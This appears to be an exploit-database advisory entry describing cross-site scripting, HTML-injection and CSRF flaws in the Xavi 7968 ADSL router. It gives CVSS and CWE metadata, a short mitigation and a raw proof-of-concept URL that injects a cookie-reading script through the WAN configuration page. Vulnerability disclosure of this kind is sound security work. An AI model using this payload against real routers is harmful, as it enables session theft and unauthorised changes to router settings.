Xavi 7968 ADSL Router Vulnerabilities

vendor:

7968 ADSL Router

by:

SecurityFocus

8,8

CVSS

HIGH

Cross-Site Scripting, HTML-Injection and Cross-Site Request Forgery

79, 352

CWE

Product Name: 7968 ADSL Router

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Xavi 7968 ADSL Router Vulnerabilities

Xavi 7968 ADSL Router is vulnerable to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities. An attacker can exploit these issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on the victim's behalf.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated before being used in web applications.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/52098/info
  
Xavi 7968 ADSL Router is prone to cross-site scripting, HTML-injection and cross-site request forgery vulnerabilities.
  
The attacker can exploit the issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, or perform certain administrative functions on victim's behalf. Other attacks are also possible.

http://www.example.com/webconfig/wan/confirm.html/confirm?context=pageAction%3Dadd%26pvcName%3D%2522%253e%253c%252ftd%253e%253cscript%253ealert%28document.cookie%29%253c%252fscript%253e%26vpi%3D0%26vci%3D38%26scat%3DUBR%26accessmode%3Dpppoe%26encap%3Dvcmux%26encapmode%3Dbridged%26iptype%3Ddhcp%26nat_enable%3Dfalse%26def_route_enable%3Dfalse%26qos_enable%3Dfalse%26chkPPPOEAC%3Dfalse%26tBoxPPPOEAC%3DNot%2520Configured%26sessiontype%3Dalways_on%26username%3Da%26password%3Dss&confirm=+Apply+